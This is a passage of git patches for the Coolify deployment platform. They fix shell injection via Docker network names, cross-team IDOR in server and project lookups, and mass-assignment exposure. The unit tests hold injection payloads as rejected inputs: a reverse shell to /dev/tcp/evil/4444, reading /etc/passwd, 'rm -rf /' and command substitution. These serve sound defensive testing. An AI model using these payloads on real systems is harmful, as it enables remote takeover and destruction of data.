$this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 7f1feaa21..a2d08e1e8 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -678,6 +678,7 @@ private function upload_to_s3(): void } else { $network = $this->database->destination->network; } + $safeNetwork = escapeshellarg($network); $fullImageName = $this->getFullImageName(); @@ -689,13 +690,13 @@ private function upload_to_s3(): void if (isDev()) { if ($this->database->name === 'coolify-db') { $backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/coolify/coolify-db-'.$this->server->ip.$this->backup_file; - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; } else { $backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/databases/'.str($this->team->name)->slug().'-'.$this->team->id.'/'.$this->directory_name.$this->backup_file; - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; } } else { - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; } // Escape S3 credentials to prevent command injection diff --git a/app/Livewire/Destination/New/Docker.php b/app/Livewire/Destination/New/Docker.php index 70751fa03..5c1b178d7 100644 --- a/app/Livewire/Destination/New/Docker.php +++ b/app/Livewire/Destination/New/Docker.php @@ -5,6 +5,7 @@ use App\Models\Server; use App\Models\StandaloneDocker; use App\Models\SwarmDocker; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -24,7 +25,7 @@ class Docker extends Component #[Validate(['required', 'string'])] public string $name; - #[Validate(['required', 'string'])] + #[Validate(['required', 'string', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])] public string $network; #[Validate(['required', 'string'])] diff --git a/app/Livewire/Destination/Show.php b/app/Livewire/Destination/Show.php index 98cf72376..f2cdad074 100644 --- a/app/Livewire/Destination/Show.php +++ b/app/Livewire/Destination/Show.php @@ -20,7 +20,7 @@ class Show extends Component #[Validate(['string', 'required'])] public string $name; - #[Validate(['string', 'required'])] + #[Validate(['string', 'required', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])] public string $network; #[Validate(['string', 'required'])] @@ -84,8 +84,9 @@ public function delete() if ($this->destination->attachedTo()) { return $this->dispatch('error', 'You must delete all resources before deleting this destination.'); } - instant_remote_process(["docker network disconnect {$this->destination->network} coolify-proxy"], $this->destination->server, throwError: false); - instant_remote_process(['docker network rm -f '.$this->destination->network], $this->destination->server); + $safeNetwork = escapeshellarg($this->destination->network); + instant_remote_process(["docker network disconnect {$safeNetwork} coolify-proxy"], $this->destination->server, throwError: false); + instant_remote_process(["docker network rm -f {$safeNetwork}"], $this->destination->server); } $this->destination->delete(); diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index 0407c2255..abd6e168f 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Jobs\ConnectProxyToNetworksJob; +use App\Support\ValidationPatterns; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -18,13 +19,23 @@ protected static function boot() parent::boot(); static::created(function ($newStandaloneDocker) { $server = $newStandaloneDocker->server; + $safeNetwork = escapeshellarg($newStandaloneDocker->network); instant_remote_process([ - "docker network inspect $newStandaloneDocker->network >/dev/null 2>&1 || docker network create --driver overlay --attachable $newStandaloneDocker->network >/dev/null", + "docker network inspect {$safeNetwork} >/dev/null 2>&1 || docker network create --driver overlay --attachable {$safeNetwork} >/dev/null", ], $server, false); ConnectProxyToNetworksJob::dispatchSync($server); }); } + public function setNetworkAttribute(string $value): void + { + if (! ValidationPatterns::isValidDockerNetwork($value)) { + throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.'); + } + + $this->attributes['network'] = $value; + } + public function applications() { return $this->morphMany(Application::class, 'destination'); diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php index 08be81970..3144432c5 100644 --- a/app/Models/SwarmDocker.php +++ b/app/Models/SwarmDocker.php @@ -2,10 +2,21 @@ namespace App\Models; +use App\Support\ValidationPatterns; + class SwarmDocker extends BaseModel { protected $guarded = []; + public function setNetworkAttribute(string $value): void + { + if (! ValidationPatterns::isValidDockerNetwork($value)) { + throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.'); + } + + $this->attributes['network'] = $value; + } + public function applications() { return $this->morphMany(Application::class, 'destination'); diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 7084b4cc2..cec607f4e 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -58,6 +58,13 @@ class ValidationPatterns */ public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** + * Pattern for Docker network names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + * Matches Docker's network naming rules and prevents shell injection + */ + public const DOCKER_NETWORK_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Get validation rules for name fields */ @@ -210,6 +217,44 @@ public static function isValidContainerName(string $name): bool return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1; } + /** + * Get validation rules for Docker network name fields + */ + public static function dockerNetworkRules(bool $required = true, int $maxLength = 255): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::DOCKER_NETWORK_PATTERN; + + return $rules; + } + + /** + * Get validation messages for Docker network name fields + */ + public static function dockerNetworkMessages(string $field = 'network'): array + { + return [ + "{$field}.regex" => 'The network name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.', + ]; + } + + /** + * Check if a string is a valid Docker network name. + */ + public static function isValidDockerNetwork(string $name): bool + { + return preg_match(self::DOCKER_NETWORK_PATTERN, $name) === 1; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index cf9f648bb..ed18dfe76 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -109,18 +109,20 @@ function connectProxyToNetworks(Server $server) ['networks' => $networks] = collectDockerNetworksByServer($server); if ($server->isSwarm()) { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --driver overlay --attachable $network >/dev/null", - "docker network connect $network coolify-proxy >/dev/null 2>&1 || true", - "echo 'Successfully connected coolify-proxy to $network network.'", + "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --driver overlay --attachable {$safe} >/dev/null", + "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", + "echo 'Successfully connected coolify-proxy to {$safe} network.'", ]; }); } else { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --attachable $network >/dev/null", - "docker network connect $network coolify-proxy >/dev/null 2>&1 || true", - "echo 'Successfully connected coolify-proxy to $network network.'", + "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --attachable {$safe} >/dev/null", + "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", + "echo 'Successfully connected coolify-proxy to {$safe} network.'", ]; }); } @@ -141,16 +143,18 @@ function ensureProxyNetworksExist(Server $server) if ($server->isSwarm()) { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", + "echo 'Ensuring network {$safe} exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable {$safe}", ]; }); } else { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", + "echo 'Ensuring network {$safe} exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable {$safe}", ]; }); } diff --git a/tests/Unit/DockerNetworkInjectionTest.php b/tests/Unit/DockerNetworkInjectionTest.php new file mode 100644 index 000000000..b3ca4ac60 --- /dev/null +++ b/tests/Unit/DockerNetworkInjectionTest.php @@ -0,0 +1,48 @@ +network = $network; +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', + 'backtick injection' => 'net`id`', + 'space injection' => 'net work', +])->throws(InvalidArgumentException::class); + +it('StandaloneDocker accepts valid network names', function (string $network) { + $model = new StandaloneDocker; + $model->network = $network; + + expect($model->network)->toBe($network); +})->with([ + 'simple' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', + 'with dot' => 'my.network', + 'alphanumeric' => 'network123', +]); + +it('SwarmDocker rejects network names with shell metacharacters', function (string $network) { + $model = new SwarmDocker; + $model->network = $network; +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', +])->throws(InvalidArgumentException::class); + +it('SwarmDocker accepts valid network names', function (string $network) { + $model = new SwarmDocker; + $model->network = $network; + + expect($model->network)->toBe($network); +})->with([ + 'simple' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', +]); diff --git a/tests/Unit/ValidationPatternsTest.php b/tests/Unit/ValidationPatternsTest.php index 0da8f9a4d..9ecffe46d 100644 --- a/tests/Unit/ValidationPatternsTest.php +++ b/tests/Unit/ValidationPatternsTest.php @@ -80,3 +80,53 @@ expect(mb_strlen($name))->toBeGreaterThanOrEqual(3) ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1); }); + +it('accepts valid Docker network names', function (string $network) { + expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue(); +})->with([ + 'simple name' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', + 'with dot' => 'my.network', + 'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1', + 'alphanumeric' => 'network123', + 'starts with number' => '1network', + 'complex valid' => 'coolify-proxy.net_2', +]); + +it('rejects Docker network names with shell metacharacters', function (string $network) { + expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse(); +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', + 'backtick injection' => 'net`id`', + 'ampersand injection' => 'net&rm -rf /', + 'space' => 'net work', + 'newline' => "net\nwork", + 'starts with dot' => '.network', + 'starts with hyphen' => '-network', + 'slash' => 'net/work', + 'backslash' => 'net\\work', + 'empty string' => '', + 'single quotes' => "net'work", + 'double quotes' => 'net"work', + 'greater than' => 'net>work', + 'less than' => 'nettoContain('required') + ->toContain('string') + ->toContain('max:255') + ->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN); +}); + +it('generates nullable dockerNetworkRules when not required', function () { + $rules = ValidationPatterns::dockerNetworkRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); From e36622fdfb60df2bb733c37d6f0f4f7ac8b61486 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:29:08 +0100 Subject: [PATCH 50/95] refactor: scope server and project queries to current team Ensure Server and Project lookups in Livewire components and API controllers use team-scoped queries (ownedByCurrentTeam / whereTeamId) instead of unscoped find/where calls. This enforces consistent multi-tenant isolation across all user-facing code paths. Co-Authored-By: Claude Opus 4.6 --- app/Http/Controllers/Api/DeployController.php | 2 +- app/Livewire/Boarding/Index.php | 6 +- app/Livewire/GlobalSearch.php | 4 +- app/Livewire/Project/CloneMe.php | 2 +- app/Livewire/Project/DeleteProject.php | 4 +- app/Livewire/Project/New/DockerCompose.php | 2 +- app/Livewire/Project/New/DockerImage.php | 2 +- .../Project/New/GithubPrivateRepository.php | 2 +- .../New/GithubPrivateRepositoryDeployKey.php | 2 +- .../Project/New/PublicGitRepository.php | 2 +- app/Livewire/Project/New/Select.php | 4 +- app/Livewire/Project/New/SimpleDockerfile.php | 2 +- .../CrossTeamIdorServerProjectTest.php | 182 ++++++++++++++++++ 13 files changed, 199 insertions(+), 17 deletions(-) create mode 100644 tests/Feature/CrossTeamIdorServerProjectTest.php diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index 85d532f62..e490f3b0c 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -250,7 +250,7 @@ public function cancel_deployment(Request $request) ]); // Get the server - $server = Server::find($build_server_id); + $server = Server::whereTeamId($teamId)->find($build_server_id); if ($server) { // Add cancellation log entry diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index 0f6f45d83..d7fa67b7b 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -121,7 +121,7 @@ public function mount() } if ($this->selectedExistingServer) { - $this->createdServer = Server::find($this->selectedExistingServer); + $this->createdServer = Server::ownedByCurrentTeam()->find($this->selectedExistingServer); if ($this->createdServer) { $this->serverPublicKey = $this->createdServer->privateKey->getPublicKey(); $this->updateServerDetails(); @@ -145,7 +145,7 @@ public function mount() } if ($this->selectedProject) { - $this->createdProject = Project::find($this->selectedProject); + $this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject); if (! $this->createdProject) { $this->projects = Project::ownedByCurrentTeam(['name'])->get(); } @@ -431,7 +431,7 @@ public function getProjects() public function selectExistingProject() { - $this->createdProject = Project::find($this->selectedProject); + $this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject); $this->currentState = 'create-resource'; } diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index f910110dc..154748b47 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -1203,7 +1203,7 @@ public function selectServer($serverId, $shouldProgress = true) public function loadDestinations() { $this->loadingDestinations = true; - $server = Server::find($this->selectedServerId); + $server = Server::ownedByCurrentTeam()->find($this->selectedServerId); if (! $server) { $this->loadingDestinations = false; @@ -1280,7 +1280,7 @@ public function selectProject($projectUuid, $shouldProgress = true) public function loadEnvironments() { $this->loadingEnvironments = true; - $project = Project::where('uuid', $this->selectedProjectUuid)->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->selectedProjectUuid)->first(); if (! $project) { $this->loadingEnvironments = false; diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 3b3e42619..e9184a154 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -54,7 +54,7 @@ protected function messages(): array public function mount($project_uuid) { $this->project_uuid = $project_uuid; - $this->project = Project::where('uuid', $project_uuid)->firstOrFail(); + $this->project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail(); $this->environment = $this->project->environments->where('uuid', $this->environment_uuid)->first(); $this->project_id = $this->project->id; $this->servers = currentTeam() diff --git a/app/Livewire/Project/DeleteProject.php b/app/Livewire/Project/DeleteProject.php index a018046fd..d95041c2d 100644 --- a/app/Livewire/Project/DeleteProject.php +++ b/app/Livewire/Project/DeleteProject.php @@ -21,7 +21,7 @@ class DeleteProject extends Component public function mount() { $this->parameters = get_route_parameters(); - $this->projectName = Project::findOrFail($this->project_id)->name; + $this->projectName = Project::ownedByCurrentTeam()->findOrFail($this->project_id)->name; } public function delete() @@ -29,7 +29,7 @@ public function delete() $this->validate([ 'project_id' => 'required|int', ]); - $project = Project::findOrFail($this->project_id); + $project = Project::ownedByCurrentTeam()->findOrFail($this->project_id); $this->authorize('delete', $project); if ($project->isEmpty()) { diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 634a012c0..5732e0cd5 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -41,7 +41,7 @@ public function submit() // Validate for command injection BEFORE saving to database validateDockerComposeForInjection($this->dockerComposeRaw); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); $destination_uuid = $this->query['destination']; diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index 8aff83153..545afdd0b 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -121,7 +121,7 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); // Append @sha256 to image name if using digest and not already present diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 61ae0e151..d1993b4ac 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -185,7 +185,7 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); $application = Application::create([ diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index e46ad7d78..30c8ded4f 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -144,7 +144,7 @@ public function submit() // Note: git_repository has already been validated and transformed in get_git_source() // It may now be in SSH format (git@host:repo.git) which is valid for deploy keys - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); if ($this->git_source === 'other') { $application_init = [ diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 3df31a6a3..731584edf 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -278,7 +278,7 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $project_uuid)->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->first(); $environment = $project->load(['environments'])->environments->where('uuid', $environment_uuid)->first(); if ($this->build_pack === 'dockercompose' && isDev() && $this->new_compose_services) { diff --git a/app/Livewire/Project/New/Select.php b/app/Livewire/Project/New/Select.php index c5dc13987..165e4b59e 100644 --- a/app/Livewire/Project/New/Select.php +++ b/app/Livewire/Project/New/Select.php @@ -65,7 +65,7 @@ public function mount() $this->existingPostgresqlUrl = 'postgres://coolify:password@coolify-db:5432'; } $projectUuid = data_get($this->parameters, 'project_uuid'); - $project = Project::whereUuid($projectUuid)->firstOrFail(); + $project = Project::ownedByCurrentTeam()->whereUuid($projectUuid)->firstOrFail(); $this->environments = $project->environments; $this->selectedEnvironment = $this->environments->where('uuid', data_get($this->parameters, 'environment_uuid'))->firstOrFail()->name; @@ -79,7 +79,7 @@ public function mount() $this->type = $queryType; $this->server_id = $queryServerId; $this->destination_uuid = $queryDestination; - $this->server = Server::find($queryServerId); + $this->server = Server::ownedByCurrentTeam()->find($queryServerId); $this->current_step = 'select-postgresql-type'; } } catch (\Exception $e) { diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 9cc4fbbe2..a87da7884 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -45,7 +45,7 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); $port = get_port_from_dockerfile($this->dockerfile); diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.php new file mode 100644 index 000000000..173dae5cd --- /dev/null +++ b/tests/Feature/CrossTeamIdorServerProjectTest.php @@ -0,0 +1,182 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + // Victim: Team B + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + // Act as attacker (Team A) + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('boarding mount cannot load server from another team via selectedExistingServer', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedServerType' => 'remote', + 'selectedExistingServer' => $this->serverB->id, + ]); + + // The server from Team B should NOT be loaded + expect($component->get('createdServer'))->toBeNull(); + }); + + test('boarding mount can load own team server via selectedExistingServer', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedServerType' => 'remote', + 'selectedExistingServer' => $this->serverA->id, + ]); + + // Own team server should load successfully + expect($component->get('createdServer'))->not->toBeNull(); + expect($component->get('createdServer')->id)->toBe($this->serverA->id); + }); +}); + +describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('boarding mount cannot load project from another team via selectedProject', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedProject' => $this->projectB->id, + ]); + + // The project from Team B should NOT be loaded + expect($component->get('createdProject'))->toBeNull(); + }); + + test('boarding selectExistingProject cannot load project from another team', function () { + $component = Livewire::test(BoardingIndex::class) + ->set('selectedProject', $this->projectB->id) + ->call('selectExistingProject'); + + expect($component->get('createdProject'))->toBeNull(); + }); + + test('boarding selectExistingProject can load own team project', function () { + $component = Livewire::test(BoardingIndex::class) + ->set('selectedProject', $this->projectA->id) + ->call('selectExistingProject'); + + expect($component->get('createdProject'))->not->toBeNull(); + expect($component->get('createdProject')->id)->toBe($this->projectA->id); + }); +}); + +describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('loadDestinations cannot access server from another team', function () { + $component = Livewire::test(GlobalSearch::class) + ->set('selectedServerId', $this->serverB->id) + ->call('loadDestinations'); + + // Should dispatch error because server is not found (team-scoped) + $component->assertDispatched('error'); + }); +}); + +describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('loadEnvironments cannot access project from another team', function () { + $component = Livewire::test(GlobalSearch::class) + ->set('selectedProjectUuid', $this->projectB->uuid) + ->call('loadEnvironments'); + + // Should not load environments from another team's project + expect($component->get('availableEnvironments'))->toBeEmpty(); + }); +}); + +describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('cannot mount DeleteProject with project from another team', function () { + // Should throw ModelNotFoundException (404) because team-scoped query won't find it + Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]) + ->assertStatus(500); // findOrFail throws ModelNotFoundException + })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + + test('can mount DeleteProject with own team project', function () { + $component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]); + + expect($component->get('projectName'))->toBe($this->projectA->name); + }); +}); + +describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('cannot mount CloneMe with project UUID from another team', function () { + // Should throw ModelNotFoundException because team-scoped query won't find it + Livewire::test(CloneMe::class, [ + 'project_uuid' => $this->projectB->uuid, + 'environment_uuid' => $this->environmentB->uuid, + ]); + })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + + test('can mount CloneMe with own team project UUID', function () { + $component = Livewire::test(CloneMe::class, [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]); + + expect($component->get('project_id'))->toBe($this->projectA->id); + }); +}); + +describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('deploy cancel API cannot access build server from another team', function () { + // Create a deployment queue entry that references Team B's server as build_server + $application = \App\Models\Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id, + 'destination_type' => StandaloneDocker::class, + ]); + + $deployment = \App\Models\ApplicationDeploymentQueue::create([ + 'application_id' => $application->id, + 'deployment_uuid' => 'test-deploy-' . fake()->uuid(), + 'server_id' => $this->serverA->id, + 'build_server_id' => $this->serverB->id, // Cross-team build server + 'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $token = $this->userA->createToken('test-token', ['*']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer ' . $token->plainTextToken, + ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + // The cancellation should proceed but the build_server should NOT be found + // (team-scoped query returns null for Team B's server) + // The deployment gets cancelled but no remote process runs on the wrong server + $response->assertOk(); + + // Verify the deployment was cancelled + $deployment->refresh(); + expect($deployment->status)->toBe( + \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value + ); + }); +}); From 67a4fcc2ab8134f905f32fab8057b3c11e18fbb2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:32:57 +0100 Subject: [PATCH 51/95] fix: add mass assignment protection to models Replace $guarded = [] with explicit $fillable whitelists across all models. Update controllers to use request->only($allowedFields) when assigning request data. Switch Livewire components to forceFill() for explicit mass assignment. Add integration tests for mass assignment protection. --- .../Api/ApplicationsController.php | 14 +- .../Controllers/Api/DatabasesController.php | 16 +- .../Controllers/Api/SecurityController.php | 7 +- app/Livewire/Project/CloneMe.php | 34 ++-- .../Project/Shared/ResourceOperations.php | 59 +++--- app/Models/Application.php | 109 +++++++++-- app/Models/Server.php | 2 - app/Models/Service.php | 14 +- app/Models/StandaloneClickhouse.php | 26 ++- app/Models/StandaloneDragonfly.php | 25 ++- app/Models/StandaloneKeydb.php | 26 ++- app/Models/StandaloneMariadb.php | 27 ++- app/Models/StandaloneMongodb.php | 26 ++- app/Models/StandaloneMysql.php | 27 ++- app/Models/StandalonePostgresql.php | 29 ++- app/Models/StandaloneRedis.php | 24 ++- app/Models/Team.php | 9 +- app/Models/User.php | 19 +- bootstrap/helpers/applications.php | 13 +- .../Feature/MassAssignmentProtectionTest.php | 182 ++++++++++++++++++ 20 files changed, 593 insertions(+), 95 deletions(-) create mode 100644 tests/Feature/MassAssignmentProtectionTest.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index ad1f50ea2..82d662177 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -1158,7 +1158,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { $dockerComposeDomains = collect($request->docker_compose_domains); @@ -1385,7 +1385,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { @@ -1585,7 +1585,7 @@ private function create_application(Request $request, $type) $application = new Application; 